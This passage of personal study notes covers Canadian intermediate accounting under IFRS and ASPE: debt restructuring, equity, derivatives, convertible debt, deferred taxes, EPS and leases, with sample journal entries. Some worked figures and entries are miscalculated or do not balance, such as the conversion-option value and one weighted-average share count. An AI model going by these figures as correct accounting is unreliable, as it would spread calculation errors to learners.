(800,000 - 14,400) = 22,400 - -### Exchange of Debt Instruments - -- Refund -- substantially Different terms -- debt < carrying amount -- continuation of debt, with modified terms - -1. Transfer non-cash assets - - recognize a gain/loss on disposal of the non-cash asset - - gain/loss on debt settlement needs to be recognized - - creditor may be able to force a transfer (loan foreclosure) -2. Share transfer -3. Issue debt to another creditor, use proceeds to repay existing debt (refinancing) - -A building with fair value of $16MM is transferred to settle a $20MM loan. - -```accounting -# Creditor -Buildings 16M -Loss on loan 4M - Notes receivable 20M -``` - -The building had a book value of $21M - -```accounting -# Debtor -Building Depreciation 5M -Notes Payable 20M -Loss on Building transfer 5M -Buildings 26M -Gain on Debt Restructuring 4M -``` - -Share transfer - -320,000 shares worth $16M is transferred. Creditor is treating it as FV-NI. - -```accounting -# Creditor -FV-NI $16M -Allowance for Doubtful Accounts $4MM [Allowance for Expected Credit Losses] - Notes Receivable $20M -``` - -```accounting -# debtor -Notes Payable $20M Dr. - Common Shares $16M Cr. - Gain on Debt Restructuring $4M Cr. -``` - -### Debt Term Modifications - -- Stated interest -- Maturity date -- Face amount -- Reduction or deferral of accrued interest -- Change in currency - -For it to be substantial, either the present value changes by at least 10% or the creditor changes. - -```txt -On December 31, 2023, Manitoba National Bank enters into a debt restructuring agreement with Resorts Corp., which is experiencing financial difficulties. The current carrying amount of the loan is $10.5 million (the bond was issued at par). The modifications are as follows: -1. Reduce the current obligation from $10.5 million to $9 million. -2. Extend maturity date from Dec 31, 2023 to Dec 31, 2027. -3. Reduce interest rate (annual payment) from 12% to 8% (The current market rate is 9%). - -Old terms have a Present Value (PV) of 10,500,000 (because already at maturity). -Use original effective interest to calculate PV of new terms which is 7,906,572. -The difference is ~ 33% so treat it as a settlement. - -Notes payable 10,500,000 Dr. - Notes payable 8,708,425 Cr. (market value based on yield and interest rate) - Gain on Restructuring Debt 1,791,575 Cr. -``` - -Non-substantial, - -- ASPE: Keep carrying amount the same, using the new maturity value and interest rate, solve for EIR, and calculate the new interest expense. -- IFRS: Remeasure carrying amount to the PV using market rate for the new obligations - -### Off-Balance Sheet Financing - -- Harder to do these days -- Non-consolidated entities -- Special purpose entity or variable interest entity - - buy assets, take risk, isolate from other company -- operating leases (ASPE only) - -### Debt Financial Statement Analysis - -- Debt to Asset ratio = Total debt / Total assets -- Times interest earned = Income before taxes nad interest expense / interest expense - -## Chapter 15 Shareholders' Equity - -### Basic Forms - -- Proprietorship - - Single owner -- Partnership - - Multiple owners -- Corporation - - >= 1 owner - - Separate legal entity - - Taxed separately, and personal tax is at dividends - - Owners only risk investment - -### Corporate Classification - -- Public / Crown Corporation - - Government units - no shares - - Government Business Entreprises - issues shares (e.g. canada post) -- Private Sector - - Not-for-profit - - no shares, since no distributions of profits - - for profit - - shares issued - - privately held - - publicly traded - -### Incorporation Process - -- Submit articles of incorporation - - Maximum shares - - Addresses - - Directors - - Share classes - -### Shares - -- Groups or classes -- Each share is equal to another in the same class -- If no restrictions, there are basic or inherent rights -- CBCA also allows pre-emptive rights -- Basic or Inherent Rights - - Share proportionally in profits and losses - - Management (vote for directors) - - Corporate assets upon liquidation -- Pre-emptive rights - - allows shareholders to purchase new share issuances - - protects against involuntary dilution - -### Types of Shares - -- Common - - Ownership interest - - Right to elect board of directors - - Default share type -- In-Substance Common Shares - - Similar to common shares BUT cannot be called common shares for account purposes -- Preferred Shares - - Assurance of dividend before common shares - - Priority over all other types of shares over earnings and assets upon dissolution - - No voting rights - - No share in profit higher than stated rate - - Features at corporation's discretion: - - Cumulative in dividend arrears - - Convertible to common shares - - Callable/Redeemable at specified dates and prices - - Retractable - Can sell their shares back to company and mus tbe paid - - Participating - share in profit distribution - - CBCA does not allow shares issued with a par value - - Expressed as a percentage of issue price - - Shareholder investment cannot be withdrawn at shareholders' discretion unless all prior claims have been paid - -### Legality of Dividend Distribution - -1. No dividends unless the corporate capital is kept intact - - Net assets should be sufficient for solvency purposes - - CBCA Corporate Solvency Tests - - After dividend, can the corporation pay its liabilities - - After dividend, is the realizable value of assets less than total liabilities plus legal capital - - Portion of company's equity protected by law -2. Dividends must be formally approved by the board of directors -3. Dividends must agree with stipulations in the contracts (debt) - -### Issuance of Shares - -- Initial Public Offering (IPO) -- Seasoned share issuance - -```accounting -# 500 shares at $10 -Cash $5,000 Dr. - Common shares $5,000 Cr. -# 100 preferred shares at $10 per share -Cash $1,000 Dr. - Preferred Shares $1,000 Cr. -``` - -### Shares Sold on a Subscription Basis - -- Partial payment -- Share only issued until full price received -- Cash already debited -- 10 common shares, at $20, 50 people accept, 50% down, due in 6 months - -```accounting -Share subscriptions receivable $10,000 - Common shares subscribed $10,000 -# first instalment -Cash $5,000 - Share subscriptions receivable $5,000 -# final instalment -Cash $5,000 - Share subscriptions receivable $5,000 -# settlement -Common shares subscribed $10,000 - Common shares $10,000 -``` - -In case of default, possible actions are: - -- refund paid amount - -```accounting -Common shares subscribed $1,000 - Share subscription $500 - Accounts Payable $500 -``` - -- treat paid amount as forfeited; transfer to contributed surplus -- issue fewer shares - -### Shares issued with other securities - -- for lum-sum sales -- relative fair value method - - estimate fair values of each class of securities, then proportionally allocates the lump-sum to each instrument -- residual value method - - allocate lump-sum to instruments that are easier to measure, then allocate rest to the other instruments - -### Cost of Issuing Shares - -- Capital-related (deduct from proceeds) - - Underwriting - - Accounting and legal fees - - Printing - - Taxes -- Operation-related (expenses) - - management - - maintaining records - -### Reacquisition or Repurchases of Shares - -- increase ROE -- provide shares for employee share compensation -- business acquisitions or mergers -- stop takeovers -- demand to affect share price -- leverage buy-out (LBO) -- manage regulatory capital requirements -- reacquired shares are either retired or held as treasury shares (intended for re-issue) -- CBCA required shares to be cancelled and restored status to authorized but unissued -- treasury relatively uncommon in canada - -if reacquisition cost < average issuance price - -```accounting -Dr. Share capital $1,000 - Cr. Cash $800 - Cr. Contributed Surplus $200 -``` - -if > average issuance price - -```accounting -Dr. Share capital $1,000 (= $10 x 100) - Cr. Cash $1,200 (= $12 x 100) - -Debit $200 to contributed surplus and then to retained earnings -``` - -- Share account Book Value per share is the average issuing price - -### Dividends - -- Date of declaration (board passes resolution) -- Date of record (eligibility of shareholders) - - business day before ex-dividend date -- Date of payment - -- share of earnings -- liquidating dividends (when operations are exhausted, think mining, oil & gas, resource extraction) - -### Cash Dividends - -Cash dividend of 50 cents a share on 1.8MM shares on July 16 to all shareholders of record on June 24. - -```accounting -# after declaration (note no retained earnings account) -# JE not necessary for preferred share dividends since they are always payable for the year -Dividends Declared (- Equity) $900,000 - Dividends Payable (+ Liability) $900,000 -# nothing on entry date -# payment date -Dividends Payable $900,000 - Cash $900,000 -``` - -### Property (in-kind) Dividends - -- Generally measured at fair value of assets given up -- Non-reciprocal transfer of non-monetary assets between an entity and its owners -- Merchandise, real estate, investments - -### Stock Dividends - -- 1,000 common shares -- $50,000 retained earnings -- $130 per share fair value -- All shareholders received stock dividends - -```accounting -# 1000 * 0.1 * 130 = $13,000 -# on declaration -Retained earnings Dr. 13,000 - Stock Dividends Distributable Cr. 13,000 -# on distribution -Stock Dividends Distributable Dr. 13,000 - Common Shares Cr. 13,000 -``` - -### Liquidating Dividends - -- paid out of contributed surplus -- excess of accumulated income considered a return of shareholders' investment -- Example 1.2M dividend with $900,000 considered a return of income - -```accounting -Retained Earnings 900,000 -Contributed Surplus 300,000 - Dividends Payable 1,200,000 -``` - -### Non-cumulative and Non-participating preferred shares - -- Question: is it cheaper to issue bonds or preferred shares - - Probably bonds since the interest payments are guaranteed and fixed - - So why would you ever issue a preferred shares if it is more expensive? just because it can be stopped temporarily? -- $50,000 to be distributed as cash dividends -- $400,000 book value -- 1,000 $6 preferred shares out standing with book value of $100,000 - - preferred dividend is 6% of book value - -```accounting -# non-cumulative preferred shares and non-participating -Total dividends declared $50,000 -Less Preferred shares paid first $6,000 -Balance available to common shareholders $44,000 -# cumulative and non-participating, last 2 years are also due -total dividend declared $50,000 -Less: dividends in arrears $12,000 -Preferred shares current $6,000 -To common shares: $32,000 -# cumulative and participating -# need to treat the preferred share dividend as if it is part of the proportion so that the proportion of dividends is fair for common -Total dividends declared $50,000 -Less; preferred in arrears: 12,000 ------------------------------ -Less: preferred 6% 6,000 -Less: common 6% 24,000 -To preferred (20% of 8,000): 1,600 -To common (80% of 8,000): 6,400 -``` - -In case 1, the participation is capped - -### Stock Splits vs Stock Dividends - -- Lower stock market price = easier to acquire -- If stock dividends are large enough, it's basically a stock split (SEC) -- large stock dividend is more than 20% and is not mentioned about in ASPE and IFRS -- 2 for 1 stock split: 2 shares for every 1 currently issued - -### Components of Shareholders' Equity - -1. Share capital (provided by shareholders) -2. Contributed Surplus (provided by shareholders) -3. Retained Earnings (earned) -4. Accumulated OCI (earned) - -- IFRS: detailed changes in shareholders' equity -- ASPE: only retained earnings, contributed capital in notes - -### Capital Disclosure - -- Amount of authorized, issued and fully paid shares -- Rights, preferences, any restrictions -- Reconciliation between opening and closing balances -- Restrictions on shares -- IFRS: -- Objectives, policies, processes for managing capital -- Summary quantitative date about what the company manages as capital, and any changes - -### Equity Financial Statement Analysis - -- ROE = (Net Income - Preferred dividends) / (average common common shareholders' equity) -- Dividend payout (Cash dividends) / (net income - preferred dividends) -- PE ratio = (market price per share) / (earnings per share) -- Book value per share = Common shareholders' equity / number of common shares outstanding - -## Chapter 16 Complex Financial Instruments - -- effect of transferring the one or more financial risks inherent in the underlying primary instrument -- PV of a forward contract is 0; so no initial investment -- main purpose is for risk management or hedging. Other purposes is speculation and arbitraging. -- Risks: market risk, credit risk (counterparty), and liquidity risk (companies paying off debt obligations) -- Measure at FV-NI - - remeasure on SFP dates -- Purchase commitments are not derivatives unless - - ASPE: exchange traded futures - -A stock warrant gives the holder the right to purchase a company's stock at a specific price and at a specific date. A stock warrant is issued directly by the company concerned; when an investor exercises a stock warrant, the shares that fulfill the obligation are not received from another investor but directly from the company. - -Company A has 5,000 shares of Company B and bought 5,000 put options at $2/put option. Strike price is $100 per share (current value). - -- Purpose: Company B is willing to lose a maximum of $2 per share and wants to limit the downside to this amount -- Investments (FV-NI). Declines would be posted to net income -- No the accounting is no transparent, because the NI and OCI are different when underlying goes down -G - -### Futures - -- Exchange-traded -- Standardized amounts and dates -- Settled through clearing houses -- Requires collateral (margin) -- Settled daily -- G/L Recognized against income - -Short $1,000 grain contract settling in 30 days. Initial $100 margin. - -```accounting -Derivatives - Deposit 100 - Cash 100 -``` - -The value of grain increases, so our position decreases (futures contract moved against the company). - -```accounting -Gain or Loss 50 - Derivatives - Financial Assets/Liabilities 50 -``` - -Suppose there is a margin call for $50 - -```accounting -Derivatives - Deposit 50 - Cash 50 -``` - -Settled on net basis - -```accounting -# clearing house already settled this to the counterparty -Cash 100 -Derivatives 50 - Derivatives - Deposit 150 -``` - -### Derivatives Involving the Entity's Own Shares - -- IFRS: Fixed-for-fixed equity transaction (gross settlement) -- ASPE: silent, general principles would say contra equity -- When purchasing an options, debit the contributed surplus first - -```accounting -Contributed surplus 200 - Cash 200 -``` - -Company A agrees to purchase $50,000 US for $65,000 CAD in 30 days. There is a fair value of $500 on the issue date. -On settlement the ratio is $1.25 CDN = $1 US (versus 1.3 agreement) - -```accounting -Derivatives 500 - Gain or Loss 500 -# gross basis settlement -Cash 62,500 -Gain or Loss 3,000 - Cash 65,000 - Derivatives 500 -# net basis settlement -G/L 3,000 - Cash 2,500 - Derivatives 500 -``` - -### Hybrid/Compound Investments - -- preferred shares -- convertible debt -- redeemable shares -- Debt classification requires meeting financial liabilities definition - - contractual obligation - - deliver cash or financial asset to another party - - potentially unfavourable exchange of financial assets -- Equity: - - residual interest after deducting liabilities -- Offsetting? - - Only if there is a legal right and intended to settle -- Measurement - - Residual value approach (incremental). IFRS. Debt first. - - Relative fair value (proportional). Equity can be valued as zero or residual method. Easier first - - debt measured at Amortized cost - -### Convertible Debt - -- holder has option to exchange for common shares -- raise capital without giving up ownership -- lower interest rate, since investors can ride on share value increase -- B corp. offers 3-year, 6% annual coupon, convertible bonds par = $1000. Convertible to 250 shares trading at $3/share. Similar straight line bonds carry an interest rate of 9%. 1,000 bonds are issued at par. - - To get the present value without derivative rights, use the same coupon payment, but different discount rate - -```accounting -FV = $1,000,000 -PV = 924,061 (straight bond) -Value of option = 1,000,000 - 75,939 - -Cash 1,000,000 - Bonds Payable 924,061 - Conversion Rights 75,939 - -# ASPE, not recommended but if equity was valued at $0 -Cash 1,000,000 -Bonds Payable 1,000,000 - -# conversion - assume unamortized is $14,058 -Bonds Payable 985,942 -Contributed Surplus 75,939 - Common Shares 1,061,881 - -# pay $15,000 to convert ASPE -Bonds Payable 972,476 (given) -Loss on redemption 8,968 ( subtract fair value of 981,462 from carry value) -Contributed Surplus 75,939 (given) - Common Shares 1,048,415 - Cash 15,000 - -# pay $15,000 to convert IFRS -bonds payable 972,476 -loss on redemption 15,000 - Common Shares 1,048,415 - Cash 15,000 - -# retirement with offer of 1,070,000 -Bonds Payable 972,476 -Loss on Redemption 8,986 (difference between offer and book value of the bond) -Contributed Surplus 75,939 -Retained Earnings 12,599 (need to book value of contribution as well) - Cash 1,070,000 -``` - -### Share Based Compensation - -- direct awards of stock -- compensatory stock option plans (CSOP) - - grants, vesting - - paid for service, is an expense, operating transactions - - income statement - - not traded -- employee stock option or purchase plans (ESOP) - - employee usually purchases the options - - charged to equity account - - capital transaction - - shareholders' equity - - not generally traded -- share appreciation rights (SAR) -- performance-type plans - -### employee stock option or purchase plans (ESOP) - -Employee purchases 6,000 $10 options with a premium of $1. - -```accounting -# options bought -Cash 6,000 - Contributed Surplus - Options 6,000 -# options exercises -Cash 60,000 -Contributed Surplus - Options 6,000 - Common Shares 66,000 -``` - -### CSOP - -According to IFRS2:10-13A, CSOP recognized at fair value (usually using black-scholes-merton model) - -- Although unvested options dilute earnings, the compensation expense is allocated during vesting period, not grant. -- After vesting, as long as the option has not expired, it is dilutive - -Options granted to 5 executives to purchase 2,000 shares at a price of $60. Grant date is Jan 1, 2024. Vesting is Dec 31, 2025. Compensation expense is 220,000. - -```accounting -Dec 31, 2025 - Vested of options -Compensation Expense 110,000 - Contributed Surplus 110,000 -# 20% exercised Jun 1, 2027 -Cash 120,000 -Contributed Surplus 44,000 - Common Shares 164,000 -# 80% not exercised -Contributed Surplus - stock options 176,000 - Contributed Surplus - Expired Options 176,000 -# forfeiture. ASPE: estimate or expense as occur. IFRS must estimate. -# if change in estimate: -Contributed Surplus XXX - Compensation Expense XXX -# direct stocks. Fair Value. For private companies, employees cannot realize the value. -``` - -Full Disclosure - -- accounting policy used -- description of plans and modifications -- issued, exercised, forfeited, expired -- method of fair value -- compensation should reflect in net income and contributed surplus - -
Exercise P16.9 - -$4MM 10-year 8% convertible bond for $4.6MM (premium) on September 30, 2023. Each $1000 is 80 common shares + 20 detachable warrants for exercise of $15. Warrants trade at $3 each. $4.2MM if pure debt. On March 23, 2026, half warrants were exercised. Common shares trading at $20. On September 30, 2028, bonds converted to shares. - -```accounting -Since we know the PV of the pure debt is 4,200,000, the yield is 3.64% according to RATE(10 * 2, -4000000 * 0.08 / 2, 4200000, -4000000) in excel. - -September 30, 2023 -Cash 4,600,000 - Bonds Payable 4,200,000 - Contributed Surplus - Warrants 240,000 - Contributed Surplus - Conversion Rights 160,000 - -Amortization Schedule for the bond (reduce carrying value by the difference coupon payment and the interest expense from the semi-annual compounded yield) until September 30 2028. - -March 23, 2026 -Cash 600,000 -Contributed Surplus - Warrants 120,000 - Common Shares 720,000 - -Sep 30, 2028 -Bonds 4,117,705 -Contributed Surplus - Conversion Rights 160,000 - Common Shares 4,277.705 (/ 4,000,000 / 1000 * 80 = $13.36782943/share) -``` - -
- -## Chapter 18 Income Taxes - -- IFRS: Deferred vs. ASPE: Future -- To calculate current taxes: add temporary and permanent differences back to accounting income and then multiply by the tax rate - - Permanent differences: an accounting deduction not recognized by CRA - - Temporary differences: accounting and tax recognition is different for certain assets and (liabilities) -- To calculate Deferred/Future Tax Expense (Benefit) create a table (CB, TB, DIFF, TAX DIFF): - - Multiply each difference between the accounting book value and the tax base/value by the tax rate (sum of tax applicable/deductible in the future if tax rates differ) and sum the values to get the net deferred/future expense (benefit). Liabilities have negative book value for the purposes of this calculation. - - If the value is positive, we debit _D/F Tax Expense_ against _D/F Tax Liability_, and if it is negative then we credit _D/F Tax Benefit_ against _D/F Tax Asset_ - - In the future, a the tax liability is reduced by crediting deferred tax benefit and a tax asset is reduced by debiting deferred tax expense - -
Other - -- Some expenses are not tax deductible -- financial reporting: receivable, tax purposes: when cash comes in -- financial: percentage of completion, tax purposes: when contract is completed -- financial: warranty liability expense, tax purposes: not a cash expense so don't recognize -- financial: litigation liability, tax purposes: not a cash expense so don't recognize -- financial: unearned revenue for cash, tax purposes: cash came in so recognize -- financial: straight line depreciation, tax purposes: accelerated (CCA) -- financial: fines and penalties, tax purposes: non-commercial expenses are not tax-deductible - -
- -### Capital Cost of Allowance Recap - -- Accelerate Investment Incentive (1.5x) applies only to net additions -- UCCend = UCCstart- CCA RATE \* (UCC_0 + NET ADDITIONS \* 1.5 [only if net additions > 0])` - -### Temporary Difference Approach - Deferred/Future Tax Expenses - -- In ASPE, use FUTURE, under IFRS use DEFERRED -- If settlement results in higher tax payable, it's a deferred tax liability (increase taxes in the future) -- if the other way, deferred tax asset (reduce taxes in the future) -- tax base/basis of an asset - - deductible for tax purposes after carrying amount is recovered - -Example - -30% tax rate - -end of year | Carrying Value | Tax Base | Temporary Difference | Deferred Tax Balance - -- carrying value 1000, 900, 800 -- deducted: 0, 200, 400 -- tax base 1000, 700, 500 -- difference 0, 200, 300 -- deferred: 0, 200 \* 30% = 60, 300 \* 30% = 90 - -### Tax Base / Tax Basis of Liability - -- tax base = Carrying amount - future tax deductions -- when liability can be settled for its carrying amount without any tax consequences, tax base = carrying amount -- unearned revenue: settlement is via recognition so no tax effect - -Example - Deferred Tax Liability - -- Company A reported $130,000 revenue in 2023 -- $100,000 was taxable revenue in 2023 (collected) -- 20,000 will be collected in 2024, and 10,000 in 2025 -- 25% tax rate -- income tax payable is 10,000 in 2023, 11,000 in 2024 - -```accounting -2023 -Current Income Tax Expense 10,000 -Deferred Income Tax Expense 7,500 - Cash 10,000 - Deferred Tax Liability (30,000 * 25%) 7,500 - -2024 -Deferred Income Tax Liability 5,000 - Deferred tax benefit 5,000 -# deferred tax benefit is because the expense already reduced retained earnings the year before and so an accounting benefit is being used here -Current income tax expense 11,000 - Income tax payable 11,000 -``` - -Example - Deferred Tax Asset - -- 2 year assurance warranty expense -- estimated 500,000 expense -- actual costs were 300,000 in 2024, 200,000 in 2025 -- income tax payable: 600,000 in 2023, 440,000 in 2024 -- future tax rate is 25% -- warranty liability - - 2023: 500,000 recognized vs. 0 actual → 25% * 500,000 = 125,000 asset - - 2024: 200,000 recognized vs. 0 actual → 25% * 200,000 = 50,000 asset remaining - - 2025: 0 recognized vs. 0 → 0 - -```accounting -2023 -Current income tax expense 600,000 - Income tax payable 600,000 -Deferred income tax asset 125,000 - Deferred Income tax benefit 125,000 -2024 -Deferred Income tax expense 75,000 - Deferred Income tax asset 75,000 -Current income tax expense 440,000 - Income tax payable 440,000 -2025 -Deferred Income tax expense 50,000 - Deferred Income tax asset 50,000 -``` - -### Future Tax Rebates - -- use income tax rates that are expected to apply when the tax liabilities are settled or tax assets are realized -- ASPE: tabled bills that the government can pass -- IFRS: announcements are actual enactment -- discounting deferred tax assets and liabilities is not permitted -- the deferred tax liability is calculated using the future expected tax rates for each future taxable amount -Example - -### Tax Loss Carry-forward or Carry-back - -- Can carry tax loss back up to 3 years -- Can carry forward for 20 years ahead -- Can be attractive merger candidates as income can be reduced -- We carry back the **loss** and not the **loss \* tax rate** - - Suppose loss of 350,000 and that previous 3 years had total losses of 300,000 - - therefore, the carry back is calculated on the previous tax rates but is limited to 50,000 - -```accounting -Income tax receivable 82,500 (+A) - Current tax benefit 82,500 (+SE) Current benefit from loss carry-back -``` - -For a carry forward, suppose the tax loss that can be carried forward is 150,000 and the future rate is 20%. - -```accounting -deferred tax asset 30,000 - deferred tax benefit 30,000 - # Deferred tax benefit from loss carry-forward -``` - -In a future year with taxable income, we use deferred tax expense - -```accounting -taxable income = (200,000 - 150,000) = 50,000 -taxable = 10,000 -deferred = 30,000 - -Current Tax Expense 10,000 - Income Tax Payable 10,000 - -Deferred Tax Expense 30,000 - Deferred Tax Asset 30,000 -``` - -### Separate Disclosure - -- IFRS requires it -- ASPE: netted - -### Valuation Allowance - -- If unlikely to benefit from loss carryforward, -- ASPE: future tax asset is recognized with an offsetting variance allowance (contra) -- IFRS: not recognized at all - -## Midterm Tips - -- Apply knowledge to exercise questions - - Exercises in this document, the quizzes, the assignment, group project - -## Chapter 17 Earnings Per Share - -- The main goal of financial accounting is decision-usefulness -- Perspective of common shareholder - -Does EPS communicate maintenance capex? Yes, through depreciation expense. Does EPS communicate growth in CAPEX that was useless? Yes, through lower revenues and higher depreciation. - -- Paper: current expected credit loss model amplifies stock market reactions to earnings surprises (actual EPS over consensus EPS by sell-side analysts). Amplification = over-reaction. -- Bank are motivated to beat or meet EP targets by under-provisioning: - - Over-provision (over-expense) when economy is already bad (taking a big bath) - - Under provision next year (to appear good out there) - -If companies are motivated to meet or beat EPS via manipulation, EPS loses relevance and contradicts the accounting framework. Need to update standards or enforce (provincial in Canada, SEC in USA). - -### Basic EPS - -Income available to common shareholders (remove preferred dividends) over the weighted average number of common shares outstanding - -- apply stock splits retroactively when calculating weighted average - -### Diluted EPS - -- Considering dilutions due to complex financial instruments at play. -- Add dilutive securities one at a time based on most dilutive to least dilutive (order matters) -- Do not include securities that increase the EPS - - If options dilute EPS but then convertible bond increases EPS, include only the options dilution - -### EPS IFRS vs ASPE - -- ASPE does not need to report EPS calculations or disclosure -- Three lines for EPS from: continuing operations, discontinued operations, net income -- Need to show basic and diluted for both types - -### Price Earnings Ratio - -- Useful information by relating earnings to the price the shares are trading at -- Allows "easy comparison" with other companies -- Multiplier of per share market value -- If Among similar companies one has a higher P/E, it may be overpriced - -### Simple vs Complex Capital Structure - -- For simple ones without convertibles, just basic EPS -- For complex capital structures, securities that will potentially dilute the EPS, need to be included in the diluted EPS. Do not include anti-dilutive securities. - -### Income Available to Common Shareholders - -- Deduct obligations to non-common shareholders such as current preferred dividends. Do not include arrears as they were included already - -### Weighted Average Common Shares Example - -Start of year: 200,000. July 1st: 225,000. Net income: 315,000. - -`Basic EPS = 315000 / (200000 * 0.5 + 425000 * 0.5) = 1.008 = 1.01` - -Restatement of average number of shares is required before a stock dividend or split event (so past results can be normalized). - -### In-Class EPS Exercise - -```accounting -Shares outstanding Jan 1: 150,000 -2-for-1 stock split, Apr 1: 150,000 -Shares issued, Jul 1: 20,000 -Shares repurchased, Oct 1: -50,000 -Shares issued:, Dec 31: 10,000 -Ending Balance: 280,000 -Net Income: 476,000 - -3,000 $2 cumulative shares were issued for $300,000. no "dividends" were declared during 2023. - -Weighted Average Number of Shares = 300,000 * 0.5 + 320,000 * 3/12 + 270000 * 91/92 + 280000 * 1/365 = 297,500. Ignore last issued since that's not even a single day. - -Income to common shareholders: 470,000 - -Basic EPS = $1.58 -``` - -### Diluted EPS: If-Converted Convertible Bonds Method - -Summary: Calculate situational net income by adding back the interest paid for the duration of the bond net of taxes. Calculate the diluted WACS by adding the weighted shares possibly added. So if the bond was issued during the year instead of before the 2nd day of the year, you want to pro-rate the interest expense as well as the shares diluted. - -- assume conversion occurs later of the beginning of the year and the issue date -- need to add back the interest net of taxes (1 - T) -- 410,000 net income, 100,000 Weighted Average Common Shares (WACS), 30% tax -- 1 bond convertible 20,000 common shares at 6% of $1,000,000 -- 1 bond convertible to 32,000 common shares at 10% of $500,000 on April 1 -- Basic EPS: $4.10 -- Diluted Earnings: - - `410000 + 0.06 * 1000000 * 0.7 + 0.1 * 500000 * 9 / 12 * 0.7` = 478,250 -- Diluted WACS: `100000 + 20000 + 32000 * 9/12` = 144,000 -- Diluted EPS: $3.32 - -### Diluted EPS: If-Converted Preferred Shares - -Similar to convertible bonds, add back the preferred dividend to earnings for common shareholders. Dividends paid to preferred share holders are net of taxes. Therefore, there is no tax to account for. - -### Diluted EPS: Options and Warrants - -- Assume options are exercised the later of: the beginning of the year and the issue date -- In the money options: intrinsic value (market and strike price delta is positive for the option) - - Call: Market Price - Strike Price > 0 - - Put: Strike Price - Market Price > 0 -- When the company writes the option, - - Call: just need to issue shares - - Put: need to purchase shares - -### Written Call Options - Treasury Stock Method - -Impact of written call options on EPS numbers - -1. Options are exercised at the beginning of the year -2. Money is used to buy back shares at the treasury at teh average market price during the year - -Treasury shares are a contra equity account which means that the shares were not cancelled. - -Suppose the market price is $28 and the strike price is $20 and 5000 call options sold. - -Shares to be issued = (5000 - 5000 * 20 / 28) = 1429 - -### Written Put Options - Reverse Treasury Stock Method - -Impact of written put options on EPS numbers. - -1. Options are exercised at beginning of the year -2. Shares are issued in the market to obtain funds to buy shares for the put option - -Suppose 1,500 put options with a strike price of $30 were exercised when the market price was $20. - -Shares issued: (1,500 * 30 / 20 - 1500) = 750 - -### Diluted EPS - Comprehensive Example - -- net income of $5MM year ended June 30, 2023 -- 500,000 common shares outstanding -- average market price of $50 -- tax rate of 25% -- written call options to buy 100,000 common shares at $45/share -- 100,000 preferred shares convertible to 150,000 common shares with $10 per share dividends -- 4% convertible bond face value of $30MM issued on par, $1000 convertible to 25 common shares - -
Solution - -- Net Income Available to Common Shareholders = $5MM - 100000 \* 10 = $4MM -- Basic EPS = $4MM / 500,000 = $8 -- With written options: 100,000 - 4,500,000 / 50 = 10,000 diluted shares -- With convertible preferred shares: $5MM / 650,000 = 7.69 -- With convertible bond: ($4MM + (30MM \* 0.04) \* (1 - 0.25)) / (500,000 + 30_000_000/1000 \* 25) = $3.92 -- Order: Options, Convertible Bond, Convertible Preferred Shares -- Conclusion: Convertible preferred shares not included at the end since it did not dilute EPS further - -
- -## Chapter 20 - Leases - -A lease should be included on the balance sheet to recognize future lease payment **obligations** - -- Is it a lease? - - IFRS - Contractual: identifiable asset, long-term, not a individual low-value asset - - ASPE - Classification: meets one of [three tests](#gaap-lease-treatments) -- The lease liability - - IFRS - Lease liability; present value using implicit rate or lessor - - ASPE - Obligation under lease; asset under lease minus initial payments -- The lease asset - - IFRS - Right-of-use Asset; lease liability plus initial payments - - ASPE - _Asset_ under lease; Min { PV of minimum lease payments, fair value at lease's inception } - - Explanation: the asset value should never be higher than the value at inception - -[Examples](#lease-liability-example) - -### What is a Lease? - -- contractual agreement between _lessor_ and a _lessee_ - - lessee has a right to use property owned by the lessor -- provisions - - lease term or duration - - lease payments (sales, interest rate, price index) - - taxes, insurance, maintenance on lessee or lessor or shared - - early termination or non-cancellable - - default: lessee pays balance or lessor sells asset to third party and recoup shortfall from teh lessee - - end: return to lease (_simple termination_), or renewal, or purchase at nominal price, or _bargaining purchase option_ (lessee benefits) - -### Advantages - -- 100% financing at fixed rates with no money down and fixed payments -- no obsolescent risk - -### Conceptual Nature of Leases - -Perspectives: - -1. Executory: both parties need to perform; no capitalization -2. \[ASPE] Classification approach: economic substance; instalment purchases are capitalized so lease with similar characteristics should be - - capitalize leases similar to otherwise instalment purchases - - substantially all benefits and risks are transferred to the lessee? -3. \[IFRS] Contract-based approach: asset is not a physical property but a right-to-use; liability is to make lease payments (rental payment minus expenses paid by lessor) - - capitalize all leases except for short-term and low-value leases - -ASPE allows many operating leases but IFRS has limits. - -### GAAP Lease Treatments - -- ASPE: classification approach - - Similar to instalment purchases - - All benefits and risks is transferred - - Other leases should be reported as expense and not on balance sheet - - Meets one of three tests: - 1. transfer of ownership; is there assurance that the lessee will take ownership at the end of term - 2. economic life tests; leasing for 75% of the asset's economic life - 3. recovery of investment by lessor; present value of the lease is 90% or more of the asset's market price -- IFRS: contract-based approach - - identified asset for a period of time - - service component excluded from lease accounting - - not short-term nor low-value (allow portfolio of **similar** low-value assets) - -Example: Is it a lease for IFRS? - -Airport operator, use of space for three years. The supplier has the right to change the location at any time. Minimal cost to customer who owns the kiosk used to sell the goods. Many areas would fit the need. - -Since the space can change, it cannot be identified and so there is no lease. - -### Low-Value Leases and Lease Portfolios (IFRS) - -- not real estate -- not manufacturing equipment -- cars for sales and management become a portfolio but are not low value -- IT equipment are low-value -- Servers with many individual modules are large values -- Office equipment and furniture are low value - -### Lease Payment Required for a Rate of Return - -The fair value of an asset is the present value. We need to determine the annuity payment such that the factor times the payment equals the fair value minus any present value of the term-end option payment. - -- Variables - - Lessee's credit standing - - Length of the lease - - Status of residual value (guaranteed or non-guaranteed) - - Income tax effects -- Initial costs added to investment ot be recovered (similar to initial capex in a DCF) -- Deduct: PV of the purchase option and PV of the residual value - -Example - -We want a 10% return on $100,000 investment in an asset that is to be lease for 5 years. Annual rent is due in advance each year (annuity due). No purchase option, bargain purchase option, or residual value. - -Option one (Exam) - -Look up the factor in the **annuity due** table for a rate of 10% with a maturity of 5 years. -Divide the present value by this factor to get the annual payment. - -Option Two (In-practice) - -```accounting -PV = 100,000 = x + x/(1+0.1) + x/(1+0.1)^2 -100000 = x(1 + 1/...) = (1 + (1 - (1 + r)^-(n - 1)/r)) -100000 = x * 4.1699 -x = $23,982 -``` - -### PV of Lease Payments Calculation - -- Minimum rental payments -- Amounts guaranteed: maximum amount required by lessor to pay at the end of the lease -- Bargain purchase option (BPO): pay significant lower amount at the end of lease -- Need to subtract executory costs by the lessor - -1. Implicit rate: PV of minimum lease payments plus un-guaranteed residual value = Fair value of underlying -2. Lessee's incremental borrowing rate (equivalent funds were borrowed for a similar term and similar security) - -- ASPE: minimum of the two rates (ensure that the lessee does not get a lower PV) -- IFRS: use implicit rate of lessor - -### Right-of-use assets under IFRS - -The initial value of the right-of-use asset is the PV of the payments plus the PV of the residual value or 